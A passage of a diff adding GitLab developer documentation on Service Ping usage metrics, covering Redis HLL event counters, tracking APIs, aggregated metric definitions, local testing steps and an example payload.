+1. Track events using JavaScript/Vue API helper which calls the API above
+
+ Note that `usage_data_api` and `usage_data_#{event_name}` should be enabled to be able to track events
+
+ ```javascript
+ import api from '~/api';
+
+ api.trackRedisCounterEvent('my_already_defined_event_name'),
+ ```
+
+#### Redis HLL Counters
+
+WARNING:
+HyperLogLog (HLL) is a probabilistic algorithm and its **results always includes some small error**. According to [Redis documentation](https://redis.io/commands/pfcount), data from
+used HLL implementation is "approximated with a standard error of 0.81%".
+
+With `Gitlab::UsageDataCounters::HLLRedisCounter` we have available data structures used to count unique values.
+
+Implemented using Redis methods [PFADD](https://redis.io/commands/pfadd) and [PFCOUNT](https://redis.io/commands/pfcount).
+
+##### Adding new events
+
+1. Define events in [`known_events`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/usage_data_counters/known_events/).
+
+ Example event:
+
+ ```yaml
+ - name: users_creating_epics
+ category: epics_usage
+ redis_slot: users
+ aggregation: weekly
+ feature_flag: track_epics_activity
+ ```
+
+ Keys:
+
+ - `name`: unique event name.
+
+ Name format for Redis HLL events `<name>_<redis_slot>`.
+
+ [See Metric name](metrics_dictionary.md#metric-name) for a complete guide on metric naming suggestion.
+
+ Consider including in the event's name the Redis slot to be able to count totals for a specific category.
+
+ Example names: `users_creating_epics`, `users_triggering_security_scans`.
+
+ - `category`: event category. Used for getting total counts for events in a category, for easier
+ access to a group of events.
+ - `redis_slot`: optional Redis slot. Default value: event name. Only event data that is stored in the same slot
+ can be aggregated. Ensure keys are in the same slot. For example:
+ `users_creating_epics` with `redis_slot: 'users'` builds Redis key
+ `{users}_creating_epics-2020-34`. If `redis_slot` is not defined the Redis key will
+ be `{users_creating_epics}-2020-34`.
+ Recommended slots to use are: `users`, `projects`. This is the value we count.
+ - `expiry`: expiry time in days. Default: 29 days for daily aggregation and 6 weeks for weekly
+ aggregation.
+ - `aggregation`: may be set to a `:daily` or `:weekly` key. Defines how counting data is stored in Redis.
+ Aggregation on a `daily` basis does not pull more fine grained data.
+ - `feature_flag`: optional `default_enabled: :yaml`. If no feature flag is set then the tracking is enabled. One feature flag can be used for multiple events. For details, see our [GitLab internal Feature flags](../feature_flags/index.md) documentation. The feature flags are owned by the group adding the event tracking.
+
+1. Use one of the following methods to track the event:
+
+ - In the controller using the `RedisTracking` module and the following format:
+
+ ```ruby
+ track_redis_hll_event(*controller_actions, name:, if: nil, &block)
+ ```
+
+ Arguments:
+
+ - `controller_actions`: the controller actions to track.
+ - `name`: the event name.
+ - `if`: optional custom conditions. Uses the same format as Rails callbacks.
+ - `&block`: optional block that computes and returns the `custom_id` that we want to track. This overrides the `visitor_id`.
+
+ Example:
+
+ ```ruby
+ # controller
+ class ProjectsController < Projects::ApplicationController
+ include RedisTracking
+
+ skip_before_action :authenticate_user!, only: :show
+ track_redis_hll_event :index, :show, name: 'users_visiting_projects'
+
+ def index
+ render html: 'index'
+ end
+
+ def new
+ render html: 'new'
+ end
+
+ def show
+ render html: 'show'
+ end
+ end
+ ```
+
+ - In the API using the `increment_unique_values(event_name, values)` helper method.
+
+ Arguments:
+
+ - `event_name`: the event name.
+ - `values`: the values counted. Can be one value or an array of values.
+
+ Example:
+
+ ```ruby
+ get ':id/registry/repositories' do
+ repositories = ContainerRepositoriesFinder.new(
+ user: current_user, subject: user_group
+ ).execute
+
+ increment_unique_values('users_listing_repositories', current_user.id)
+
+ present paginate(repositories), with: Entities::ContainerRegistry::Repository, tags: params[:tags], tags_count: params[:tags_count]
+ end
+ ```
+
+ - Using `track_usage_event(event_name, values)` in services and GraphQL.
+
+ Increment unique values count using Redis HLL, for a given event name.
+
+ Examples:
+
+ - [Track usage event for an incident in a service](https://gitlab.com/gitlab-org/gitlab/-/blob/v13.8.3-ee/app/services/issues/update_service.rb#L66)
+ - [Track usage event for an incident in GraphQL](https://gitlab.com/gitlab-org/gitlab/-/blob/v13.8.3-ee/app/graphql/mutations/alert_management/update_alert_status.rb#L16)
+
+ ```ruby
+ track_usage_event(:incident_management_incident_created, current_user.id)
+ ```
+
+ - Using the `UsageData` API.
+ <!-- There's nearly identical content in `##### UsageData API Tracking`. If you find / fix errors here, you may need to fix errors in that section too. -->
+
+ Increment unique users count using Redis HLL, for a given event name.
+
+ To track events using the `UsageData` API, ensure the `usage_data_api` feature flag
+ is set to `default_enabled: true`. Enabled by default in GitLab 13.7 and later.
+
+ API requests are protected by checking for a valid CSRF token.
+
+ ```plaintext
+ POST /usage_data/increment_unique_users
+ ```
+
+ | Attribute | Type | Required | Description |
+ | :-------- | :--- | :------- | :---------- |
+ | `event` | string | yes | The event name to track |
+
+ Response:
+
+ - `200` if the event was tracked, or if tracking failed for any reason.
+ - `400 Bad request` if an event parameter is missing.
+ - `401 Unauthorized` if the user is not authenticated.
+ - `403 Forbidden` if an invalid CSRF token is provided.
+
+ - Using the JavaScript/Vue API helper, which calls the `UsageData` API.
+
+ To track events using the `UsageData` API, ensure the `usage_data_api` feature flag
+ is set to `default_enabled: true`. Enabled by default in GitLab 13.7 and later.
+
+ Example for an existing event already defined in [known events](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/usage_data_counters/known_events/):
+
+ ```javascript
+ import api from '~/api';
+
+ api.trackRedisHllUserEvent('my_already_defined_event_name'),
+ ```
+
+1. Get event data using `Gitlab::UsageDataCounters::HLLRedisCounter.unique_events(event_names:, start_date:, end_date:, context: '')`.
+
+ Arguments:
+
+ - `event_names`: the list of event names.
+ - `start_date`: start date of the period for which we want to get event data.
+ - `end_date`: end date of the period for which we want to get event data.
+ - `context`: context of the event. Allowed values are `default`, `free`, `bronze`, `silver`, `gold`, `starter`, `premium`, `ultimate`.
+
+1. Testing tracking and getting unique events
+
+Trigger events in rails console by using `track_event` method
+
+ ```ruby
+ Gitlab::UsageDataCounters::HLLRedisCounter.track_event('users_viewing_compliance_audit_events', values: 1)
+ Gitlab::UsageDataCounters::HLLRedisCounter.track_event('users_viewing_compliance_audit_events', values: [2, 3])
+ ```
+
+Next, get the unique events for the current week.
+
+ ```ruby
+ # Get unique events for metric for current_week
+ Gitlab::UsageDataCounters::HLLRedisCounter.unique_events(event_names: 'users_viewing_compliance_audit_events',
+ start_date: Date.current.beginning_of_week, end_date: Date.current.next_week)
+ ```
+
+##### Recommendations
+
+We have the following recommendations for [Adding new events](#adding-new-events):
+
+- Event aggregation: weekly.
+- Key expiry time:
+ - Daily: 29 days.
+ - Weekly: 42 days.
+- When adding new metrics, use a [feature flag](../../operations/feature_flags.md) to control the impact.
+- For feature flags triggered by another service, set `default_enabled: false`,
+ - Events can be triggered using the `UsageData` API, which helps when there are > 10 events per change
+
+##### Enable/Disable Redis HLL tracking
+
+Events are tracked behind optional [feature flags](../feature_flags/index.md) due to concerns for Redis performance and scalability.
+
+For a full list of events and corresponding feature flags see, [known_events](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/usage_data_counters/known_events/) files.
+
+To enable or disable tracking for specific event in <https://gitlab.com> or <https://about.staging.gitlab.com>, run commands such as the following to
+[enable or disable the corresponding feature](../feature_flags/index.md).
+
+```shell
+/chatops run feature set <feature_name> true
+/chatops run feature set <feature_name> false
+```
+
+We can also disable tracking completely by using the global flag:
+
+```shell
+/chatops run feature set redis_hll_tracking true
+/chatops run feature set redis_hll_tracking false
+```
+
+##### Known events are added automatically in Service Data payload
+
+All events added in [`known_events/common.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/usage_data_counters/known_events/common.yml) are automatically added to Service Data generation under the `redis_hll_counters` key. This column is stored in [version-app as a JSON](https://gitlab.com/gitlab-services/version-gitlab-com/-/blob/master/db/schema.rb#L209).
+For each event we add metrics for the weekly and monthly time frames, and totals for each where applicable:
+
+- `#{event_name}_weekly`: Data for 7 days for daily [aggregation](#adding-new-events) events and data for the last complete week for weekly [aggregation](#adding-new-events) events.
+- `#{event_name}_monthly`: Data for 28 days for daily [aggregation](#adding-new-events) events and data for the last 4 complete weeks for weekly [aggregation](#adding-new-events) events.
+
+Redis HLL implementation calculates automatic total metrics, if there are more than one metric for the same category, aggregation, and Redis slot.
+
+- `#{category}_total_unique_counts_weekly`: Total unique counts for events in the same category for the last 7 days or the last complete week, if events are in the same Redis slot and we have more than one metric.
+- `#{category}_total_unique_counts_monthly`: Total unique counts for events in same category for the last 28 days or the last 4 complete weeks, if events are in the same Redis slot and we have more than one metric.
+
+Example of `redis_hll_counters` data:
+
+```ruby
+{:redis_hll_counters=>
+ {"compliance"=>
+ {"users_viewing_compliance_dashboard_weekly"=>0,
+ "users_viewing_compliance_dashboard_monthly"=>0,
+ "users_viewing_compliance_audit_events_weekly"=>0,
+ "users_viewing_audit_events_monthly"=>0,
+ "compliance_total_unique_counts_weekly"=>0,
+ "compliance_total_unique_counts_monthly"=>0},
+ "analytics"=>
+ {"users_viewing_analytics_group_devops_adoption_weekly"=>0,
+ "users_viewing_analytics_group_devops_adoption_monthly"=>0,
+ "analytics_total_unique_counts_weekly"=>0,
+ "analytics_total_unique_counts_monthly"=>0},
+ "ide_edit"=>
+ {"users_editing_by_web_ide_weekly"=>0,
+ "users_editing_by_web_ide_monthly"=>0,
+ "users_editing_by_sfe_weekly"=>0,
+ "users_editing_by_sfe_monthly"=>0,
+ "ide_edit_total_unique_counts_weekly"=>0,
+ "ide_edit_total_unique_counts_monthly"=>0}
+ }
+```
+
+Example usage:
+
+```ruby
+# Redis Counters
+redis_usage_data(Gitlab::UsageDataCounters::WikiPageCounter)
+redis_usage_data { ::Gitlab::UsageCounters::PodLogs.usage_totals[:total] }
+
+# Define events in common.yml https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/usage_data_counters/known_events/common.yml
+
+# Tracking events
+Gitlab::UsageDataCounters::HLLRedisCounter.track_event('users_expanding_vulnerabilities', values: visitor_id)
+
+# Get unique events for metric
+redis_usage_data { Gitlab::UsageDataCounters::HLLRedisCounter.unique_events(event_names: 'users_expanding_vulnerabilities', start_date: 28.days.ago, end_date: Date.current) }
+```
+
+### Alternative Counters
+
+Handles `StandardError` and fallbacks into -1 this way not all measures fail if we encounter one exception.
+Mainly used for settings and configurations.
+
+Method: `alt_usage_data(value = nil, fallback: -1, &block)`
+
+Arguments:
+
+- `value`: a simple static value in which case the value is simply returned.
+- or a `block`: which is evaluated
+- `fallback: -1`: the common value used for any metrics that are failing.
+
+Usage:
+
+```ruby
+alt_usage_data { Gitlab::VERSION }
+alt_usage_data { Gitlab::CurrentSettings.uuid }
+alt_usage_data(999)
+```
+
+### Adding counters to build new metrics
+
+When adding the results of two counters, use the `add` Service Data method that
+handles fallback values and exceptions. It also generates a valid [SQL export](#exporting-service-ping-sql-queries-and-definitions).
+
+Example usage:
+
+```ruby
+add(User.active, User.bot)
+```
+
+### Prometheus Queries
+
+In those cases where operational metrics should be part of Service Ping, a database or Redis query is unlikely
+to provide useful data. Instead, Prometheus might be more appropriate, because most GitLab architectural
+components publish metrics to it that can be queried back, aggregated, and included as Service Data.
+
+NOTE:
+Prometheus as a data source for Service Ping is currently only available for single-node Omnibus installations
+that are running the [bundled Prometheus](../../administration/monitoring/prometheus/index.md) instance.
+
+To query Prometheus for metrics, a helper method is available to `yield` a fully configured
+`PrometheusClient`, given it is available as per the note above:
+
+```ruby
+with_prometheus_client do |client|
+ response = client.query('<your query>')
+ ...
+end
+```
+
+Please refer to [the `PrometheusClient` definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/prometheus_client.rb)
+for how to use its API to query for data.
+
+### Fallback values for UsagePing
+
+We return fallback values in these cases:
+
+| Case | Value |
+|-----------------------------|-------|
+| Deprecated Metric | -1000 |
+| Timeouts, general failures | -1 |
+| Standard errors in counters | -2 |
+
+## Developing and testing Service Ping
+
+### 1. Naming and placing the metrics
+
+Add the metric in one of the top level keys
+
+- `settings`: for settings related metrics.
+- `counts_weekly`: for counters that have data for the most recent 7 days.
+- `counts_monthly`: for counters that have data for the most recent 28 days.
+- `counts`: for counters that have data for all time.
+
+### 2. Use your Rails console to manually test counters
+
+```ruby
+# count
+Gitlab::UsageData.count(User.active)
+Gitlab::UsageData.count(::Clusters::Cluster.aws_installed.enabled, :cluster_id)
+
+# count distinct
+Gitlab::UsageData.distinct_count(::Project, :creator_id)
+Gitlab::UsageData.distinct_count(::Note.with_suggestions.where(time_period), :author_id, start: ::User.minimum(:id), finish: ::User.maximum(:id))
+```
+
+### 3. Generate the SQL query
+
+Your Rails console returns the generated SQL queries.
+
+Example:
+
+```ruby
+pry(main)> Gitlab::UsageData.count(User.active)
+ (2.6ms) SELECT "features"."key" FROM "features"
+ (15.3ms) SELECT MIN("users"."id") FROM "users" WHERE ("users"."state" IN ('active')) AND ("users"."user_type" IS NULL OR "users"."user_type" IN (6, 4))
+ (2.4ms) SELECT MAX("users"."id") FROM "users" WHERE ("users"."state" IN ('active')) AND ("users"."user_type" IS NULL OR "users"."user_type" IN (6, 4))
+ (1.9ms) SELECT COUNT("users"."id") FROM "users" WHERE ("users"."state" IN ('active')) AND ("users"."user_type" IS NULL OR "users"."user_type" IN (6, 4)) AND "users"."id" BETWEEN 1 AND 100000
+```
+
+### 4. Optimize queries with #database-lab
+
+Paste the SQL query into `#database-lab` to see how the query performs at scale.
+
+- `#database-lab` is a Slack channel which uses a production-sized environment to test your queries.
+- GitLab.com's production database has a 15 second timeout.
+- Any single query must stay below [1 second execution time](../query_performance.md#timing-guidelines-for-queries) with cold caches.
+- Add a specialized index on columns involved to reduce the execution time.
+
+To have an understanding of the query's execution we add in the MR description the following information:
+
+- For counters that have a `time_period` test we add information for both cases:
+ - `time_period = {}` for all time periods
+ - `time_period = { created_at: 28.days.ago..Time.current }` for last 28 days period
+- Execution plan and query time before and after optimization
+- Query generated for the index and time
+- Migration output for up and down execution
+
+We also use `#database-lab` and [explain.depesz.com](https://explain.depesz.com/). For more details, see the [database review guide](../database_review.md#preparation-when-adding-or-modifying-queries).
+
+#### Optimization recommendations and examples
+
+- Use specialized indexes [example 1](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/26871), [example 2](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/26445).
+- Use defined `start` and `finish`, and simple queries. These values can be memoized and reused, [example](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/37155).
+- Avoid joins and write the queries as simply as possible, [example](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/36316).
+- Set a custom `batch_size` for `distinct_count`, [example](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/38000).
+
+### 5. Add the metric definition
+
+[Check Metrics Dictionary Guide](metrics_dictionary.md)
+
+When adding, updating, or removing metrics, please update the [Metrics Dictionary](dictionary.md).
+
+### 6. Add new metric to Versions Application
+
+Check if new metrics need to be added to the Versions Application. See `usage_data` [schema](https://gitlab.com/gitlab-services/version-gitlab-com/-/blob/master/db/schema.rb#L147) and Service Data [parameters accepted](https://gitlab.com/gitlab-services/version-gitlab-com/-/blob/master/app/services/usage_ping.rb). Any metrics added under the `counts` key are saved in the `stats` column.
+
+### 7. Add the feature label
+
+Add the `feature` label to the Merge Request for new Service Ping metrics. These are user-facing changes and are part of expanding the Service Ping feature.
+
+### 8. Add a changelog
+
+Ensure you comply with the [Changelog entries guide](../changelog.md).
+
+### 9. Ask for a Product Intelligence Review
+
+On GitLab.com, we have DangerBot set up to monitor Product Intelligence related files and DangerBot recommends a [Product Intelligence review](review_guidelines.md).
+
+### 10. Verify your metric
+
+On GitLab.com, the Product Intelligence team regularly [monitors Service Ping](https://gitlab.com/groups/gitlab-org/-/epics/6000).
+They may alert you that your metrics need further optimization to run quicker and with greater success.
+
+The Service Ping JSON payload for GitLab.com is shared in the
+[#g_product_intelligence](https://gitlab.slack.com/archives/CL3A7GFPF) Slack channel every week.
+
+You may also use the [Service Ping QA dashboard](https://app.periscopedata.com/app/gitlab/632033/Usage-Ping-QA) to check how well your metric performs. The dashboard allows filtering by GitLab version, by "Self-managed" & "SaaS" and shows you how many failures have occurred for each metric. Whenever you notice a high failure rate, you may re-optimize your metric.
+
+### Service Ping local setup
+
+To set up Service Ping locally, you must:
+
+1. [Set up local repositories](#set-up-local-repositories).
+1. [Test local setup](#test-local-setup).
+1. (Optional) [Test Prometheus-based Service Ping](#test-prometheus-based-service-ping).
+
+#### Set up local repositories
+
+1. Clone and start [GitLab](https://gitlab.com/gitlab-org/gitlab-development-kit).
+1. Clone and start [Versions Application](https://gitlab.com/gitlab-services/version-gitlab-com).
+ Make sure to run `docker-compose up` to start a PostgreSQL and Redis instance.
+1. Point GitLab to the Versions Application endpoint instead of the default endpoint:
+ 1. Open [submit_usage_ping_service.rb](https://gitlab.com/gitlab-org/gitlab/-/blob/master/app/services/submit_usage_ping_service.rb#L4) in your local and modified `PRODUCTION_URL`.
+ 1. Set it to the local Versions Application URL `http://localhost:3000/usage_data`.
+
+#### Test local setup
+
+1. Using the `gitlab` Rails console, manually trigger Service Ping:
+
+ ```ruby
+ ServicePing::SubmitService.new.execute
+ ```
+
+1. Use the `versions` Rails console to check the Service Ping was successfully received,
+ parsed, and stored in the Versions database:
+
+ ```ruby
+ UsageData.last
+ ```
+
+### Test Prometheus-based Service Ping
+
+If the data submitted includes metrics [queried from Prometheus](#prometheus-queries)
+you want to inspect and verify, you must:
+
+- Ensure that a Prometheus server is running locally.
+- Ensure the respective GitLab components are exporting metrics to the Prometheus server.
+
+If you do not need to test data coming from Prometheus, no further action
+is necessary. Service Ping should degrade gracefully in the absence of a running Prometheus server.
+
+Three kinds of components may export data to Prometheus, and are included in Service Ping:
+
+- [`node_exporter`](https://github.com/prometheus/node_exporter): Exports node metrics
+ from the host machine.
+- [`gitlab-exporter`](https://gitlab.com/gitlab-org/gitlab-exporter): Exports process metrics
+ from various GitLab components.
+- Other various GitLab services, such as Sidekiq and the Rails server, which export their own metrics.
+
+#### Test with an Omnibus container
+
+This is the recommended approach to test Prometheus based Service Ping.
+
+The easiest way to verify your changes is to build a new Omnibus image from your code branch by using CI, then download the image
+and run a local container instance:
+
+1. From your merge request, click on the `qa` stage, then trigger the `package-and-qa` job. This job triggers an Omnibus
+build in a [downstream pipeline of the `omnibus-gitlab-mirror` project](https://gitlab.com/gitlab-org/build/omnibus-gitlab-mirror/-/pipelines).
+1. In the downstream pipeline, wait for the `gitlab-docker` job to finish.
+1. Open the job logs and locate the full container name including the version. It takes the following form: `registry.gitlab.com/gitlab-org/build/omnibus-gitlab-mirror/gitlab-ee:<VERSION>`.
+1. On your local machine, make sure you are signed in to the GitLab Docker registry. You can find the instructions for this in
+[Authenticate to the GitLab Container Registry](../../user/packages/container_registry/index.md#authenticate-with-the-container-registry).
+1. Once signed in, download the new image by using `docker pull registry.gitlab.com/gitlab-org/build/omnibus-gitlab-mirror/gitlab-ee:<VERSION>`
+1. For more information about working with and running Omnibus GitLab containers in Docker, please refer to [GitLab Docker images](https://docs.gitlab.com/omnibus/docker/README.html) in the Omnibus documentation.
+
+#### Test with GitLab development toolkits
+
+This is the less recommended approach, because it comes with a number of difficulties when emulating a real GitLab deployment.
+
+The [GDK](https://gitlab.com/gitlab-org/gitlab-development-kit) is not set up to run a Prometheus server or `node_exporter` alongside other GitLab components. If you would
+like to do so, [Monitoring the GDK with Prometheus](https://gitlab.com/gitlab-org/gitlab-development-kit/-/blob/main/doc/howto/prometheus/index.md#monitoring-the-gdk-with-prometheus) is a good start.
+
+The [GCK](https://gitlab.com/gitlab-org/gitlab-compose-kit) has limited support for testing Prometheus based Service Ping.
+By default, it already comes with a fully configured Prometheus service that is set up to scrape a number of components,
+but with the following limitations:
+
+- It does not run a `gitlab-exporter` instance, so several `process_*` metrics from services such as Gitaly may be missing.
+- While it runs a `node_exporter`, `docker-compose` services emulate hosts, meaning that it would normally report itself to not be associated
+with any of the other services that are running. That is not how node metrics are reported in a production setup, where `node_exporter`
+always runs as a process alongside other GitLab components on any given node. From Service Ping's perspective none of the node data would therefore
+appear to be associated to any of the services running, because they all appear to be running on different hosts. To alleviate this problem, the `node_exporter` in GCK was arbitrarily "assigned" to the `web` service, meaning only for this service `node_*` metrics appears in Service Ping.
+
+## Aggregated metrics
+
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/45979) in GitLab 13.6.
+
+WARNING:
+This feature is intended solely for internal GitLab use.
+
+To add data for aggregated metrics into Service Ping payload you should add corresponding definition at [`config/metrics/aggregates/*.yaml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/aggregates/) for metrics available at Community Edition and at [`ee/config/metrics/aggregates/*.yaml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/aggregates/) for Enterprise Edition ones.
+
+Each aggregate definition includes following parts:
+
+- `name`: Unique name under which the aggregate metric is added to the Service Ping payload.
+- `operator`: Operator that defines how the aggregated metric data is counted. Available operators are:
+ - `OR`: Removes duplicates and counts all entries that triggered any of listed events.
+ - `AND`: Removes duplicates and counts all elements that were observed triggering all of following events.
+- `time_frame`: One or more valid time frames. Use these to limit the data included in aggregated metric to events within a specific date-range. Valid time frames are:
+ - `7d`: Last seven days of data.
+ - `28d`: Last twenty eight days of data.
+ - `all`: All historical data, only available for `database` sourced aggregated metrics.
+- `source`: Data source used to collect all events data included in aggregated metric. Valid data sources are:
+ - [`database`](#database-sourced-aggregated-metrics)
+ - [`redis`](#redis-sourced-aggregated-metrics)
+- `events`: list of events names to aggregate into metric. All events in this list must
+ relay on the same data source. Additional data source requirements are described in the
+ [Database sourced aggregated metrics](#database-sourced-aggregated-metrics) and
+ [Redis sourced aggregated metrics](#redis-sourced-aggregated-metrics) sections.
+- `feature_flag`: Name of [development feature flag](../feature_flags/index.md#development-type)
+ that is checked before metrics aggregation is performed. Corresponding feature flag
+ should have `default_enabled` attribute set to `false`. The `feature_flag` attribute
+ is optional and can be omitted. When `feature_flag` is missing, no feature flag is checked.
+
+Example aggregated metric entries:
+
+```yaml
+- name: example_metrics_union
+ operator: OR
+ events:
+ - 'users_expanding_secure_security_report'
+ - 'users_expanding_testing_code_quality_report'
+ - 'users_expanding_testing_accessibility_report'
+ source: redis
+ time_frame:
+ - 7d
+ - 28d
+- name: example_metrics_intersection
+ operator: AND
+ source: database
+ time_frame:
+ - 28d
+ - all
+ events:
+ - 'dependency_scanning_pipeline_all_time'
+ - 'container_scanning_pipeline_all_time'
+ feature_flag: example_aggregated_metric
+```
+
+Aggregated metrics collected in `7d` and `28d` time frames are added into Service Ping payload under the `aggregated_metrics` sub-key in the `counts_weekly` and `counts_monthly` top level keys.
+
+```ruby
+{
+ :counts_monthly => {
+ :deployments => 1003,
+ :successful_deployments => 78,
+ :failed_deployments => 275,
+ :packages => 155,
+ :personal_snippets => 2106,
+ :project_snippets => 407,
+ :promoted_issues => 719,
+ :aggregated_metrics => {
+ :example_metrics_union => 7,
+ :example_metrics_intersection => 2
+ },
+ :snippets => 2513
+ }
+}
+```
+
+Aggregated metrics for `all` time frame are present in the `count` top level key, with the `aggregate_` prefix added to their name.
+
+For example:
+
+`example_metrics_intersection`
+
+Becomes:
+
+`counts.aggregate_example_metrics_intersection`
+
+```ruby
+{
+ :counts => {
+ :deployments => 11003,
+ :successful_deployments => 178,
+ :failed_deployments => 1275,
+ :aggregate_example_metrics_intersection => 12
+ }
+}
+```
+
+### Redis sourced aggregated metrics
+
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/45979) in GitLab 13.6.
+
+To declare the aggregate of events collected with [Redis HLL Counters](#redis-hll-counters),
+you must fulfill the following requirements:
+
+1. All events listed at `events` attribute must come from
+ [`known_events/*.yml`](#known-events-are-added-automatically-in-service-data-payload) files.
+1. All events listed at `events` attribute must have the same `redis_slot` attribute.
+1. All events listed at `events` attribute must have the same `aggregation` attribute.
+1. `time_frame` does not include `all` value, which is unavailable for Redis sourced aggregated metrics.
+
+### Database sourced aggregated metrics
+
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/52784) in GitLab 13.9.
+> - It's [deployed behind a feature flag](../../user/feature_flags.md), disabled by default.
+> - It's enabled on GitLab.com.
+
+To declare an aggregate of metrics based on events collected from database, follow
+these steps:
+
+1. [Persist the metrics for aggregation](#persist-metrics-for-aggregation).
+1. [Add new aggregated metric definition](#add-new-aggregated-metric-definition).
+
+#### Persist metrics for aggregation
+
+Only metrics calculated with [Estimated Batch Counters](#estimated-batch-counters)
+can be persisted for database sourced aggregated metrics. To persist a metric,
+inject a Ruby block into the
+[estimate_batch_distinct_count](#estimate_batch_distinct_count-method) method.
+This block should invoke the
+`Gitlab::Usage::Metrics::Aggregates::Sources::PostgresHll.save_aggregated_metrics`
+[method](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/usage/metrics/aggregates/sources/postgres_hll.rb#L21),
+which stores `estimate_batch_distinct_count` results for future use in aggregated metrics.
+
+The `Gitlab::Usage::Metrics::Aggregates::Sources::PostgresHll.save_aggregated_metrics`
+method accepts the following arguments:
+
+- `metric_name`: The name of metric to use for aggregations. Should be the same
+ as the key under which the metric is added into Service Ping.
+- `recorded_at_timestamp`: The timestamp representing the moment when a given
+ Service Ping payload was collected. You should use the convenience method `recorded_at`
+ to fill `recorded_at_timestamp` argument, like this: `recorded_at_timestamp: recorded_at`
+- `time_period`: The time period used to build the `relation` argument passed into
+ `estimate_batch_distinct_count`. To collect the metric with all available historical
+ data, set a `nil` value as time period: `time_period: nil`.
+- `data`: HyperLogLog buckets structure representing unique entries in `relation`.
+ The `estimate_batch_distinct_count` method always passes the correct argument
+ into the block, so `data` argument must always have a value equal to block argument,
+ like this: `data: result`
+
+Example metrics persistence:
+
+```ruby
+class UsageData
+ def count_secure_pipelines(time_period)
+ ...
+ relation = ::Security::Scan.latest_successful_by_build.by_scan_types(scan_type).where(security_scans: time_period)
+
+ pipelines_with_secure_jobs['dependency_scanning_pipeline'] = estimate_batch_distinct_count(relation, :commit_id, batch_size: 1000, start: start_id, finish: finish_id) do |result|
+ ::Gitlab::Usage::Metrics::Aggregates::Sources::PostgresHll
+ .save_aggregated_metrics(metric_name: 'dependency_scanning_pipeline', recorded_at_timestamp: recorded_at, time_period: time_period, data: result)
+ end
+ end
+end
+```
+
+#### Add new aggregated metric definition
+
+After all metrics are persisted, you can add an aggregated metric definition at
+[`aggregated_metrics/`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/aggregates/).
+
+To declare the aggregate of metrics collected with [Estimated Batch Counters](#estimated-batch-counters),
+you must fulfill the following requirements:
+
+- Metrics names listed in the `events:` attribute, have to use the same names you passed in the `metric_name` argument while persisting metrics in previous step.
+- Every metric listed in the `events:` attribute, has to be persisted for **every** selected `time_frame:` value.
+
+Example definition:
+
+```yaml
+- name: example_metrics_intersection_database_sourced
+ operator: AND
+ source: database
+ events:
+ - 'dependency_scanning_pipeline'
+ - 'container_scanning_pipeline'
+ time_frame:
+ - 28d
+ - all
+```
+
+## Example Service Ping payload
+
+The following is example content of the Service Ping payload.
+
+```json
+{
+ "uuid": "0000000-0000-0000-0000-000000000000",
+ "hostname": "example.com",
+ "version": "12.10.0-pre",
+ "installation_type": "omnibus-gitlab",
+ "active_user_count": 999,
+ "recorded_at": "2020-04-17T07:43:54.162+00:00",
+ "edition": "EEU",
+ "license_md5": "00000000000000000000000000000000",
+ "license_id": null,
+ "historical_max_users": 999,
+ "licensee": {
+ "Name": "ABC, Inc.",
+ "Email": "email@example.com",
+ "Company": "ABC, Inc."
+ },
+ "license_user_count": 999,
+ "license_starts_at": "2020-01-01",
+ "license_expires_at": "2021-01-01",
+ "license_plan": "ultimate",
+ "license_add_ons": {
+ },
+ "license_trial": false,
+ "counts": {
+ "assignee_lists": 999,
+ "boards": 999,
+ "ci_builds": 999,
+ ...
+ },
+ "container_registry_enabled": true,
+ "dependency_proxy_enabled": false,
+ "gitlab_shared_runners_enabled": true,
+ "gravatar_enabled": true,
+ "influxdb_metrics_enabled": true,
+ "ldap_enabled": false,
+ "mattermost_enabled": false,
+ "omniauth_enabled": true,
+ "prometheus_enabled": false,
+ "prometheus_metrics_enabled": false,
+ "reply_by_email_enabled": "incoming+%{key}@incoming.gitlab.com",
+ "signup_enabled": true,
+ "web_ide_clientside_preview_enabled": true,
+ "projects_with_expiration_policy_disabled": 999,
+ "projects_with_expiration_policy_enabled": 999,
+ ...
+ "elasticsearch_enabled": true,
+ "license_trial_ends_on": null,
+ "geo_enabled": false,
+ "git": {
+ "version": {
+ "major": 2,
+ "minor": 26,
+ "patch": 1
+ }
+ },
+ "gitaly": {
+ "version": "12.10.0-rc1-93-g40980d40",
+ "servers": 56,
+ "clusters": 14,
+ "filesystems": [
+ "EXT_2_3_4"
+ ]
+ },
+ "gitlab_pages": {
+ "enabled": true,
+ "version": "1.17.0"
+ },
+ "container_registry_server": {
+ "vendor": "gitlab",
+ "version": "2.9.1-gitlab"
+ },
+ "database": {
+ "adapter": "postgresql",
+ "version": "9.6.15",
+ "pg_system_id": 6842684531675334351
+ },
+ "analytics_unique_visits": {
+ "g_analytics_contribution": 999,
+ ...
+ },
+ "usage_activity_by_stage": {
+ "configure": {
+ "project_clusters_enabled": 999,
+ ...
+ },
+ "create": {
+ "merge_requests": 999,
+ ...
+ },
+ "manage": {
+ "events": 999,
+ ...
+ },
+ "monitor": {
+ "clusters": 999,
+ ...
+ },
+ "package": {
+ "projects_with_packages": 999
+ },
+ "plan": {
+ "issues": 999,
+ ...
+ },
+ "release": {
+ "deployments": 999,
+ ...
+ },
+ "secure": {
+ "user_container_scanning_jobs": 999,
+ ...
+ },
+ "verify": {
+ "ci_builds": 999,
+ ...
+ }
+ },
+ "usage_activity_by_stage_monthly": {
+ "configure": {
+ "project_clusters_enabled": 999,
+ ...
+ },
+ "create": {
